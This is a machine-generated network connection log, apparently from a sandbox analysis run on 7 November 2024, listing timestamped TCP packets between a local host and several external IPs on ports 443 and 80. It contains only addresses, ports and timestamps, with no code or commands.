Nov 7, 2024 17:25:35.303392887 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.303503036 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.304371119 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.304378986 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.337796926 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.337845087 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.337965012 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.425734997 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.425792933 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.425879002 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.426201105 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.426218987 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.429630995 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.470354080 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.470388889 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.539165020 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.613643885 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.642828941 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.651845932 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.656994104 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.662781954 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.663803101 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.671991110 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.723180056 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.723364115 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.773010015 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.787287951 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.787302971 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.788682938 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.788698912 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.788744926 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.789335966 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.789413929 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.815001011 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.815011024 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.815324068 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.815332890 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.815357924 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.815362930 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.815798998 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.815804005 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.815901041 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.815907001 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.816112995 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.816121101 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.827605963 CET	49867	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.827616930 CET	443	49867	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.876283884 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:35.876305103 CET	443	49866	94.245.104.56	192.168.2.6
Nov 7, 2024 17:25:35.938812971 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.938858986 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.938914061 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.938945055 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.939043045 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.940614939 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.940643072 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.940651894 CET	49869	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.940660000 CET	443	49869	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.941112995 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.941226006 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.941279888 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.944118023 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.944485903 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.944538116 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.944829941 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.944847107 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.944853067 CET	49870	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.944859028 CET	443	49870	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.949846029 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.949853897 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.949862957 CET	49868	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.949867010 CET	443	49868	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.959564924 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.959590912 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.959656954 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.960522890 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.960556030 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.960629940 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.961225986 CET	49881	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.961275101 CET	443	49881	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.961329937 CET	49881	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.961467028 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.961479902 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.962225914 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.962245941 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:35.963680029 CET	49881	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:35.963696003 CET	443	49881	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.071391106 CET	49866	443	192.168.2.6	94.245.104.56
Nov 7, 2024 17:25:36.162270069 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.163532972 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.163564920 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.164365053 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.164372921 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.222616911 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.236841917 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.236857891 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.237637043 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.237642050 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.293390036 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.295068979 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.295144081 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.297787905 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.297807932 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.297820091 CET	49874	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.297826052 CET	443	49874	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.313327074 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.313385010 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.313447952 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.315109968 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.315140009 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.373456955 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.373522997 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.373583078 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.374521971 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.374541044 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.374552011 CET	49875	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.374557018 CET	443	49875	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.391195059 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.391225100 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.391305923 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.391721964 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.391736984 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.682528019 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.684696913 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.684720039 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.685307980 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.685317039 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.715193987 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.725151062 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.725171089 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.725701094 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.725707054 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.812659979 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.812726021 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.813081026 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.889358044 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.889389038 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:36.889465094 CET	49879	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:36.889472961 CET	443	49879	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.003906965 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.003936052 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.003978014 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.004034996 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.004344940 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.030466080 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.030514002 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:37.030610085 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.031608105 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.031624079 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:37.068448067 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.091506004 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.091506004 CET	49880	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.091515064 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.091525078 CET	443	49880	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.095642090 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.095642090 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.095681906 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.095700026 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.096064091 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.096429110 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.096435070 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.133831024 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.140610933 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.140638113 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.187091112 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.187112093 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.188961983 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.188967943 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.226080894 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.226139069 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.226284027 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.227428913 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.227452040 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.228089094 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.278841972 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.278862000 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.278898001 CET	49883	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.278903961 CET	443	49883	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.280963898 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.280977964 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.314954996 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.315406084 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.315455914 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.315540075 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.315540075 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.352128029 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.352139950 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.352169991 CET	49884	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.352174997 CET	443	49884	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.376173973 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.376219034 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.376319885 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.453466892 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.453480959 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.584944963 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.584970951 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.585478067 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.621891975 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:37.621941090 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:37.622104883 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:37.622415066 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:37.622428894 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:37.624947071 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.624964952 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.876413107 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:37.877145052 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.877165079 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:37.878321886 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:37.878385067 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.879930019 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.880012035 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:37.923836946 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.926363945 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.926388979 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.927340984 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:37.927351952 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:37.927993059 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:37.928004026 CET	443	49895	18.244.18.122	192.168.2.6
Nov 7, 2024 17:25:38.024091959 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.061194897 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.061364889 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.061435938 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.132545948 CET	49895	443	192.168.2.6	18.244.18.122
Nov 7, 2024 17:25:38.148174047 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.148205042 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.149353027 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.149358034 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.183799028 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.236951113 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.274084091 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.274128914 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.274180889 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.274184942 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.274230003 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.354538918 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.354559898 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.355310917 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.355324984 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.355746031 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.355767965 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.355782986 CET	49899	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.355788946 CET	443	49899	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.392038107 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.392060041 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.392071962 CET	49900	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.392079115 CET	443	49900	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.409951925 CET	49829	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:38.410509109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:38.412276030 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.412291050 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.412354946 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.415319920 CET	49912	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.415328979 CET	443	49912	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.415744066 CET	80	49829	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:38.416208029 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.416224003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:38.416230917 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.416290045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:38.416313887 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.416703939 CET	49913	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.416718006 CET	443	49913	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.418589115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:38.418674946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:38.424117088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:38.424704075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:38.424715042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:38.424725056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:38.472568989 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:38.472594023 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:38.472666979 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:38.473442078 CET	49914	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:38.473457098 CET	443	49914	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:38.489219904 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.489567041 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.489617109 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.489974976 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.489991903 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.490001917 CET	49904	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.490008116 CET	443	49904	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.495800018 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.495812893 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.495883942 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.496983051 CET	49915	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.496997118 CET	443	49915	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.500058889 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.500364065 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.500375986 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.500766039 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.500780106 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.500833988 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.500839949 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.500875950 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.501502991 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.502852917 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.502918005 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.503043890 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.503051043 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.606422901 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:38.606436014 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:38.606499910 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:38.607580900 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:38.607604027 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:38.607661009 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:38.608108044 CET	49917	443	192.168.2.6	172.64.41.3
Nov 7, 2024 17:25:38.608117104 CET	443	49917	172.64.41.3	192.168.2.6
Nov 7, 2024 17:25:38.608299017 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.608366013 CET	49916	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:38.608378887 CET	443	49916	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:38.609467030 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.609478951 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.610300064 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.610307932 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.647140980 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:38.647151947 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:38.647224903 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:38.647825956 CET	49918	443	192.168.2.6	162.159.61.3
Nov 7, 2024 17:25:38.647836924 CET	443	49918	162.159.61.3	192.168.2.6
Nov 7, 2024 17:25:38.666973114 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.754003048 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.754048109 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.754101038 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.754128933 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.757158995 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.757205963 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.757215023 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.766025066 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.766066074 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.766073942 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.774976015 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.775018930 CET	49906	443	192.168.2.6	216.58.206.65
Nov 7, 2024 17:25:38.775029898 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.841738939 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.841770887 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.841819048 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.841824055 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.841869116 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.842500925 CET	49905	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:38.842513084 CET	443	49905	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:38.875778913 CET	443	49906	216.58.206.65	192.168.2.6
Nov 7, 2024 17:25:38.875828981 CET	443	49906	216.58.206.65	192.168.2.6
